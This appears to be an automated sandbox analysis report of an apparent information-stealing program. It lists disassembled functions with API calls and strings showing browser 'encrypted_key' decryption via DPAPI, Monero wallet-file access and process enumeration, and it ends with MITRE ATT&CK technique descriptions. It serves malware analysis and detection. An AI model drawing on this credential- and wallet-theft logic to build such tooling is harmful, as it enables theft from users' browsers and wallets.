Source File: 00000000.00000002.2152271112.0000000000161000.00000040.00000001.01000000.00000003.sdmp, Offset: 00160000, based on PE: true

Associated: 00000000.00000002.2152147677.0000000000160000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000242000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.00000000003AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.00000000003BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000065B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155154997.000000000065C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155496811.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156048984.00000000007F7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_160000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 381197fad15b1e153ae7e5591db2caf3c39a6f5f73652054e1d1de5cd641797f
Instruction ID: 41ed828b37c935754a2cbe3518e89612064a02e947ecb77724a9a50b5f06fcf5
Opcode Fuzzy Hash: 381197fad15b1e153ae7e5591db2caf3c39a6f5f73652054e1d1de5cd641797f
Instruction Fuzzy Hash: 808103729101089BCB05FBA4DC56DEE733CAFA4305F908529F51BA7091EF346A59CBA3

Function 0016F4A0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0017A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0017A7E6

Part of subcall function 001699C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 001699EC
Part of subcall function 001699C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00169A11
Part of subcall function 001699C0: LocalAlloc.KERNEL32(00000040,?), ref: 00169A31
Part of subcall function 001699C0: ReadFile.KERNEL32(000000FF,?,00000000,0016148F,00000000), ref: 00169A5A
Part of subcall function 001699C0: LocalFree.KERNEL32(0016148F), ref: 00169A90
Part of subcall function 001699C0: CloseHandle.KERNEL32(000000FF), ref: 00169A9A

Part of subcall function 00178E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00178E52

Part of subcall function 0017A740: lstrcpy.KERNEL32(00180E17,00000000), ref: 0017A788

Part of subcall function 0017A9B0: lstrlen.KERNEL32(?,00CC9188,?,\Monero\wallet.keys,00180E17), ref: 0017A9C5
Part of subcall function 0017A9B0: lstrcpy.KERNEL32(00000000), ref: 0017AA04
Part of subcall function 0017A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0017AA12

Part of subcall function 0017A8A0: lstrcpy.KERNEL32(?,00180E17), ref: 0017A905

Part of subcall function 0017A920: lstrcpy.KERNEL32(00000000,?), ref: 0017A972
Part of subcall function 0017A920: lstrcat.KERNEL32(00000000), ref: 0017A982

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,00181580,00180D92), ref: 0016F54C
lstrlen.KERNEL32(00000000), ref: 0016F56B

Strings

^userContextId=4294967295, xrefs: 0016F59C
moz-extension+++, xrefs: 0016F5AD

Memory Dump Source

Source File: 00000000.00000002.2152271112.0000000000161000.00000040.00000001.01000000.00000003.sdmp, Offset: 00160000, based on PE: true

Associated: 00000000.00000002.2152147677.0000000000160000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000242000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.00000000003AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.00000000003BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000065B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155154997.000000000065C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155496811.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156048984.00000000007F7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_160000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 998311485-3310892237
Opcode ID: 71b48da28d885dfbeba572220aa5a676bc0ed1952f653ed52670e223ce6d0ca6
Instruction ID: 6c5337f757beaae175ed915ca73343f5af54604a4e0f6063c6bd274415f770d9
Opcode Fuzzy Hash: 71b48da28d885dfbeba572220aa5a676bc0ed1952f653ed52670e223ce6d0ca6
Instruction Fuzzy Hash: 7351D471D10108AADB04FBB4DC56DEE7379AFA4305F80C528F51A67191EF346B19CBA2

Function 00173560 Relevance: 6.1, APIs: 4, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2152271112.0000000000161000.00000040.00000001.01000000.00000003.sdmp, Offset: 00160000, based on PE: true

Associated: 00000000.00000002.2152147677.0000000000160000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000242000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.00000000003AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.00000000003BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000065B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155154997.000000000065C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155496811.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156048984.00000000007F7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_160000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen
String ID:
API String ID: 367037083-0
Opcode ID: 15844fe7f100ebe3fd601ba2c75fff6a751a216e1988d5ad9790a1734a23f34a
Instruction ID: f52afc7b01b09a158164181295877116b0b766c707ef7f7d2cd09c3b5cd78e07
Opcode Fuzzy Hash: 15844fe7f100ebe3fd601ba2c75fff6a751a216e1988d5ad9790a1734a23f34a
Instruction Fuzzy Hash: E5415171D10109ABCB09EFA4D845AEEB778AF58304F40C418F52A77290DB35AB49DFA2

Function 00169CE0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 0017A740: lstrcpy.KERNEL32(00180E17,00000000), ref: 0017A788

Part of subcall function 001699C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 001699EC
Part of subcall function 001699C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00169A11
Part of subcall function 001699C0: LocalAlloc.KERNEL32(00000040,?), ref: 00169A31
Part of subcall function 001699C0: ReadFile.KERNEL32(000000FF,?,00000000,0016148F,00000000), ref: 00169A5A
Part of subcall function 001699C0: LocalFree.KERNEL32(0016148F), ref: 00169A90
Part of subcall function 001699C0: CloseHandle.KERNEL32(000000FF), ref: 00169A9A

Part of subcall function 00178E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00178E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00169D39

Part of subcall function 00169AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00164EEE,00000000,00000000), ref: 00169AEF
Part of subcall function 00169AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00164EEE,00000000,?), ref: 00169B01
Part of subcall function 00169AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00164EEE,00000000,00000000), ref: 00169B2A
Part of subcall function 00169AC0: LocalFree.KERNEL32(?,?,?,?,00164EEE,00000000,?), ref: 00169B3F

Part of subcall function 00169B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00169B84
Part of subcall function 00169B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 00169BA3
Part of subcall function 00169B60: LocalFree.KERNEL32(?), ref: 00169BD3

Strings

, xrefs: 00169DC1
DPAPI, xrefs: 00169D89
"encrypted_key":", xrefs: 00169D30

Memory Dump Source

Source File: 00000000.00000002.2152271112.0000000000161000.00000040.00000001.01000000.00000003.sdmp, Offset: 00160000, based on PE: true

Associated: 00000000.00000002.2152147677.0000000000160000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000242000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.00000000003AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.00000000003BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000065B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155154997.000000000065C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155496811.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156048984.00000000007F7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_160000_file.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2100535398-738592651
Opcode ID: 5ea9ad89d69721b070024daf7a289ebdc62124fadd7ac00e80234c76812718bd
Instruction ID: 8804643b6028ee165ec2021e0669bc2a43b7bc9bc7541a28cf3017e83061a6a6
Opcode Fuzzy Hash: 5ea9ad89d69721b070024daf7a289ebdc62124fadd7ac00e80234c76812718bd
Instruction Fuzzy Hash: 07314FB6D10209ABCF04EBE4DC85AEFB7BCAF58304F144529E905A7241EB349A15CBA1

Function 00178680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 0017A740: lstrcpy.KERNEL32(00180E17,00000000), ref: 0017A788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,001805B7), ref: 001786CA
Process32First.KERNEL32(?,00000128), ref: 001786DE
Process32Next.KERNEL32(?,00000128), ref: 001786F3

Part of subcall function 0017A9B0: lstrlen.KERNEL32(?,00CC9188,?,\Monero\wallet.keys,00180E17), ref: 0017A9C5
Part of subcall function 0017A9B0: lstrcpy.KERNEL32(00000000), ref: 0017AA04
Part of subcall function 0017A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0017AA12

Part of subcall function 0017A8A0: lstrcpy.KERNEL32(?,00180E17), ref: 0017A905

CloseHandle.KERNEL32(?), ref: 00178761

Memory Dump Source

Source File: 00000000.00000002.2152271112.0000000000161000.00000040.00000001.01000000.00000003.sdmp, Offset: 00160000, based on PE: true

Associated: 00000000.00000002.2152147677.0000000000160000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000242000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.00000000003AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.00000000003BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000065B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155154997.000000000065C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155496811.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156048984.00000000007F7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_160000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: e99e9b582d43c1e069650fdb29c9ab33d3800ee143f838d4c180a34760aba6cc
Instruction ID: 13ae7df500ec9d0abd1705476fe47b757071308a8c2720ccb8ade9e8b930047b
Opcode Fuzzy Hash: e99e9b582d43c1e069650fdb29c9ab33d3800ee143f838d4c180a34760aba6cc
Instruction Fuzzy Hash: BC315C71941218ABCB29EB94CC55FEEB778EF55701F508199A10EA21A0DB306B45CFA2

Function 00177980 Relevance: 6.1, APIs: 4, Instructions: 51memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00180E00,00000000,?), ref: 001779B0
RtlAllocateHeap.NTDLL(00000000), ref: 001779B7
GetLocalTime.KERNEL32(?,?,?,?,?,00180E00,00000000,?), ref: 001779C4
wsprintfA.USER32 ref: 001779F3

Memory Dump Source

Source File: 00000000.00000002.2152271112.0000000000161000.00000040.00000001.01000000.00000003.sdmp, Offset: 00160000, based on PE: true

Associated: 00000000.00000002.2152147677.0000000000160000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000242000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.00000000003AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.00000000003BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000065B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155154997.000000000065C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155496811.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156048984.00000000007F7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_160000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID:
API String ID: 377395780-0
Opcode ID: 77149ac084d2586a277e4c256211b992114cbf572ac52d1dae9ce9dbe6b401d4
Instruction ID: a632a87d994617cf8c14ad42bd8395f63222ee428787fbc1ec1e11bd2b3f7116
Opcode Fuzzy Hash: 77149ac084d2586a277e4c256211b992114cbf572ac52d1dae9ce9dbe6b401d4
Instruction Fuzzy Hash: F01115B2904518AACB149FC9ED45BBEBBFCEB49B11F10421AF605A2290E3395940CBB1

Function 001792E0 Relevance: 6.0, APIs: 4, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00173AEE,80000000,00000003,00000000,00000003,00000080,00000000,?,00173AEE,?), ref: 001792FC
GetFileSizeEx.KERNEL32(000000FF,00173AEE), ref: 00179319
CloseHandle.KERNEL32(000000FF), ref: 00179327

Memory Dump Source

Source File: 00000000.00000002.2152271112.0000000000161000.00000040.00000001.01000000.00000003.sdmp, Offset: 00160000, based on PE: true

Associated: 00000000.00000002.2152147677.0000000000160000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000242000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.00000000003AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.00000000003BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000065B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155154997.000000000065C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155496811.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156048984.00000000007F7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_160000_file.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID:
API String ID: 1378416451-0
Opcode ID: cb1a654887b64a27c2fcbea9fe89a6de1216557b29e7607b687837aa3505dc7c
Instruction ID: 7d8bc08a4fa027702893502ce1c42bcead2e43946b4370fad9d373937ec899f6
Opcode Fuzzy Hash: cb1a654887b64a27c2fcbea9fe89a6de1216557b29e7607b687837aa3505dc7c
Instruction Fuzzy Hash: E0F0873AE40208BBDB14DBF0DC08BAE77B9BB48320F10C254BA15A72D0D775AA04CB40

Function 0017C742 Relevance: 6.0, APIs: 4, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0017C74E

Part of subcall function 0017BF9F: __amsg_exit.LIBCMT ref: 0017BFAF

__getptd.LIBCMT ref: 0017C765
__amsg_exit.LIBCMT ref: 0017C773
__updatetlocinfoEx_nolock.LIBCMT ref: 0017C797

Memory Dump Source

Source File: 00000000.00000002.2152271112.0000000000161000.00000040.00000001.01000000.00000003.sdmp, Offset: 00160000, based on PE: true

Associated: 00000000.00000002.2152147677.0000000000160000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000242000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.00000000003AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.00000000003BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000065B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155154997.000000000065C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155496811.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156048984.00000000007F7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_160000_file.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__updatetlocinfo
String ID:
API String ID: 300741435-0
Opcode ID: a4a6dfb4d736cd7b457577d5d9845fbe2c1bd170493ec1750bc9c299e1b2c873
Instruction ID: 02df89f9bf68da92e9c604572d98d9daa74550e535a787f9b803dc4007984ed9
Opcode Fuzzy Hash: a4a6dfb4d736cd7b457577d5d9845fbe2c1bd170493ec1750bc9c299e1b2c873
Instruction Fuzzy Hash: 27F09A329486009BD728BBB89886B4E33B06F20B20F20C14DF40DA72D2CF645A809FD6

Function 00174F40 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00178DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00178E0B

lstrcat.KERNEL32(?,00000000), ref: 00174F7A
lstrcat.KERNEL32(?,00181070), ref: 00174F97
lstrcat.KERNEL32(?,00CC91C8), ref: 00174FAB
lstrcat.KERNEL32(?,00181074), ref: 00174FBD

Part of subcall function 00174910: wsprintfA.USER32 ref: 0017492C
Part of subcall function 00174910: FindFirstFileA.KERNEL32(?,?), ref: 00174943

Part of subcall function 00174910: StrCmpCA.SHLWAPI(?,00180FDC), ref: 00174971
Part of subcall function 00174910: StrCmpCA.SHLWAPI(?,00180FE0), ref: 00174987
Part of subcall function 00174910: FindNextFileA.KERNEL32(000000FF,?), ref: 00174B7D
Part of subcall function 00174910: FindClose.KERNEL32(000000FF), ref: 00174B92

Memory Dump Source

Source File: 00000000.00000002.2152271112.0000000000161000.00000040.00000001.01000000.00000003.sdmp, Offset: 00160000, based on PE: true

Associated: 00000000.00000002.2152147677.0000000000160000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000242000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.00000000003AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.00000000003BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000065B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155154997.000000000065C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155496811.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156048984.00000000007F7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_160000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: bb37eab8e88f3beeaa2dc113c6b8993e5368f024131e44bf80331adb168214fd
Instruction ID: 764506a482e21f42ea94a478ed780eef602420c1deb8059751fcd8833a57e076
Opcode Fuzzy Hash: bb37eab8e88f3beeaa2dc113c6b8993e5368f024131e44bf80331adb168214fd
Instruction Fuzzy Hash: 8D21887790020867C795FBA0DC46EED777CABAA300F004558B65A97181EF749BC9CB92

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
